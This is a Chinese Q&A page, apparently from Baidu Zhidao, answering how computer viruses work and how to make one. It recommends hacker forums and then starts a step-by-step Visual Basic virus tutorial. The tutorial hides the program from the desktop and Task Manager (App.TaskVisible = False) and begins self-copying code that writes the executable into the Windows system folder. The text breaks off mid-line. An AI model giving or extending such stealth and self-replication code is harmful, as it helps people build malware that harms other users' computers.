为什么病毒会具有攻击电脑程序的功能,如何制作一个病毒

来源:百度知道 编辑:UC知道 时间:2024/06/09 11:02:30

病毒也是程序,只是他与正常程序不同的是他具有自我复制传播,破坏性,隐蔽性等行为. 攻击电脑只是其中的一小部分而已. 攻击又分很多种 目前主要以漏洞攻击,拒绝服务攻击,网站挂马,恶意插件,蠕虫,溢出攻击,0day ,第三方软件漏洞利用以及一个经常被忽视的社会学攻击为主.
病毒既然能够在电脑上运行,当然他就是程序文件,对于病毒的编写,根据操作系统不同,感染方式,以及运行方式不同而不同.
病毒的种类很多,种类数量最多的是dos病毒占据90% 编写语言主要是c和汇编. 目前流行的病毒编写方式比较多样化,有vb,delphi c/c++ java asp php 易语言等等. 对于病毒的编写很多病毒的编写者并不需要自己拥有多少编程知识,甚至有的连里面的很多代码都无法看懂的人也能编写一些具有破坏性的病毒.因为网上有很多地方可以找到别人已经设计成熟的病毒代码, 菜鸟病毒作者甚至不需要更改任何代码就可以立即使用这些病毒原码编译生成病毒执行.
对于病毒原代码,其实有些实现原理很简单,你去看看杀毒软件防御那些病毒,你就能找到与之相对应的破坏行为的病毒代码.多去搜索引擎找找就可以发现更多. 有很多论坛里对于病毒的讨论和知识汇集比较集中,可以多去看看就了解了
我经常去的站点有黑客基地论坛http://bbs.hackbase.com/
安全焦点,邪恶八进制,安全中国等这样的网站.有时间你也可以去看看.

第一步,隐藏一下我们的小东西!
把Visible 设为False,这样打开程序,在桌面会看不到。
加入代码
App.TaskVisible = False
这样就在任务管理器中隐藏了。
第二步,写入自我复制代码
Dim f As String
f = App.Path & "\" & App.EXEName & ".exe"
d = "C:\WINDOWS\SYSTEM\bo.e